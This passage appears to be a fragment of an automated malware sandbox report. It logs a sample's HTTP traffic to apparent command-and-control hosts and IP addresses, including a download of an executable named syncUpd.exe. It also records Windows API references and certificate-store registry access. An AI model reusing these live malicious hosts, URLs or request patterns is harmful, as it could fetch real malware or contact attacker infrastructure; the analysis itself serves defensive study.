app.alie3ksgaa.com" Contains base64 string in header "POST" in header "POST /check/?sid=18989&key=fedc7cd43405b2669193ad2903c53467 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "fedc7cd43405b2669193ad2903c53467" in header "POST /check/?sid=18989&key=fedc7cd43405b2669193ad2903c53467 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "Keep" in header "POST /check/?sid=18989&key=fedc7cd43405b2669193ad2903c53467 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=18989&key=fedc7cd43405b2669193ad2903c53467 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "Type" in header "POST /check/?sid=18989&key=fedc7cd43405b2669193ad2903c53467 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "form" in header "POST /check/?sid=18989&key=fedc7cd43405b2669193ad2903c53467 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "like" in header "POST /check/?sid=18989&key=fedc7cd43405b2669193ad2903c53467 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "POST" in header "POST /check/?sid=19001&key=5bc16084765d48bf5cd8ae48a7e8076f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "5bc16084765d48bf5cd8ae48a7e8076f" in header "POST /check/?sid=19001&key=5bc16084765d48bf5cd8ae48a7e8076f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "Keep" in header "POST /check/?sid=19001&key=5bc16084765d48bf5cd8ae48a7e8076f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=19001&key=5bc16084765d48bf5cd8ae48a7e8076f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "Type" in header "POST /check/?sid=19001&key=5bc16084765d48bf5cd8ae48a7e8076f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "form" in header "POST /check/?sid=19001&key=5bc16084765d48bf5cd8ae48a7e8076f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "like" in header "POST /check/?sid=19001&key=5bc16084765d48bf5cd8ae48a7e8076f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "POST" in header "POST /check/?sid=19033&key=2df802d3d3a0b4f5c94a91fd148acd51 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "2df802d3d3a0b4f5c94a91fd148acd51" in header "POST /check/?sid=19033&key=2df802d3d3a0b4f5c94a91fd148acd51 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "Keep" in header "POST /check/?sid=19033&key=2df802d3d3a0b4f5c94a91fd148acd51 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=19033&key=2df802d3d3a0b4f5c94a91fd148acd51 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "Type" in header "POST /check/?sid=19033&key=2df802d3d3a0b4f5c94a91fd148acd51 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "form" in header "POST /check/?sid=19033&key=2df802d3d3a0b4f5c94a91fd148acd51 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "like" in header "POST /check/?sid=19033&key=2df802d3d3a0b4f5c94a91fd148acd51 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "POST" in header "POST /check/?sid=19040&key=9f045664ce18d0718dd5ce96056fee58 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "9f045664ce18d0718dd5ce96056fee58" in header "POST /check/?sid=19040&key=9f045664ce18d0718dd5ce96056fee58 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "Keep" in header "POST /check/?sid=19040&key=9f045664ce18d0718dd5ce96056fee58 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=19040&key=9f045664ce18d0718dd5ce96056fee58 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "Type" in header "POST /check/?sid=19040&key=9f045664ce18d0718dd5ce96056fee58 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "form" in header "POST /check/?sid=19040&key=9f045664ce18d0718dd5ce96056fee58 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "like" in header "POST /check/?sid=19040&key=9f045664ce18d0718dd5ce96056fee58 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "POST" in header "POST /check/?sid=19069&key=0801927b75a86ca048c572d5eec33a64 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "0801927b75a86ca048c572d5eec33a64" in header "POST /check/?sid=19069&key=0801927b75a86ca048c572d5eec33a64 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "Keep" in header "POST /check/?sid=19069&key=0801927b75a86ca048c572d5eec33a64 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=19069&key=0801927b75a86ca048c572d5eec33a64 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "Type" in header "POST /check/?sid=19069&key=0801927b75a86ca048c572d5eec33a64 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "form" in header "POST /check/?sid=19069&key=0801927b75a86ca048c572d5eec33a64 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "like" in header "POST /check/?sid=19069&key=0801927b75a86ca048c572d5eec33a64 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "POST" in header "POST /check/?sid=19082&key=2b05e1477ccfcd5a9d6074cdaa245105 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "2b05e1477ccfcd5a9d6074cdaa245105" in header "POST /check/?sid=19082&key=2b05e1477ccfcd5a9d6074cdaa245105 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "Keep" in header "POST /check/?sid=19082&key=2b05e1477ccfcd5a9d6074cdaa245105 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=19082&key=2b05e1477ccfcd5a9d6074cdaa245105 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "Type" in header "POST /check/?sid=19082&key=2b05e1477ccfcd5a9d6074cdaa245105 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "form" in header "POST /check/?sid=19082&key=2b05e1477ccfcd5a9d6074cdaa245105 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "like" in header "POST /check/?sid=19082&key=2b05e1477ccfcd5a9d6074cdaa245105 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com"7e:T5d3,Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "syncUpd_1_.exe.1537521071") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "GetMonitorInfoW" (Indicator: "GetMonitorInfo"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00001968.00000000.68818.007C6000.00000004.mdmp, 00000000-00001968.00000002.72661.007C5000.00000004.mdmp") Found reference to API "WTSRegisterSessionNotification" (Indicator: "WTSRegisterSessionNotification"; Source: "00000000-00001968.00000000.68818.007CB000.00000004.mdmp, 00000000-00001968.00000002.72661.007CB000.00000004.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00001968.00000000.68818.007CB000.00000004.mdmp, 00000000-00001968.00000002.72661.007CB000.00000004.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00006936.00000000.71947.008D1000.00000002.mdmp")7f:T432,Found reference to API "GetUserPreferredUILanguages" (Indicator: "GetUserPreferredUILanguages"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00001968.00000000.68818.007C6000.00000004.mdmp, 00000000-00001968.00000002.72661.007C5000.00000004.mdmp") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00001968.00000000.68818.007C6000.00000004.mdmp, 00000000-00001968.00000002.72661.007C5000.00000004.mdmp") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00006936.00000000.71947.008D1000.00000002.mdmp") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00006936.00000000.71947.008D1000.00000002.mdmp")80:T986,"rty25.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "rty25.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "rty25.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "rty25.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "rty25.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "rty25.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "rty25.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "rty25.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "rty25.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "rty25.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "rty25.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "rty25.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "rty25.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "rty25.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "rty25.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "rty25.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "rty25.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "rty25.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "rty25.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "rty25.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "rty25.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "rty25.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "rty25.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "rty25.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "rty25.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")81:T4d9,"rty25.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "rty25.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "rty25.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "rty25.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "rty25.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "rty25.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "rty25.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "rty25.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "rty25.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "rty25.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")82:T32eb,"GET /cpa/ping.php?substr=nine&s=ab HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: 185.172.128.90 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Mon 29 Jan 2024 16:17:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>30....... "GET /syncUpd.exe HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: 5.42.64.33 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Mon 29 Jan 2024 16:17:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon 29 Jan 2024 16:15:02 GMT ETag: "53e00-61017f2b1c2c5" Accept-Ranges: bytes Content-Length: 343552 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E8000000....... "GET /ping.php?substr=nine HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: 5.42.64.33 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Mon 29 Jan 2024 16:17:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D5531555A33644D51307035575663316131677A546A426A61556B32535735464D6C5657566B4A555A586C4B656D465855576C50616B5530....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D5531555A33684D51307035575663316131677A546A426A61556B32535735764D575275566B74575A586C4B656D465855576C50616B5530....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> no response "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D5531555A33704D51307035575663316131677A546A426A61556B325357786162474647556D686B5A586C4B656D465855576C50616B5530....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D5531555A7A424D51307035575663316131677A546A426A61556B3253573557613156565A45644F5A586C4B656D465855576C50616B5530....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D5531555A7A4A4D51307035575663316131677A546A426A61556B325357354E656D4674644778575A586C4B656D465855576C50616B5530....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body 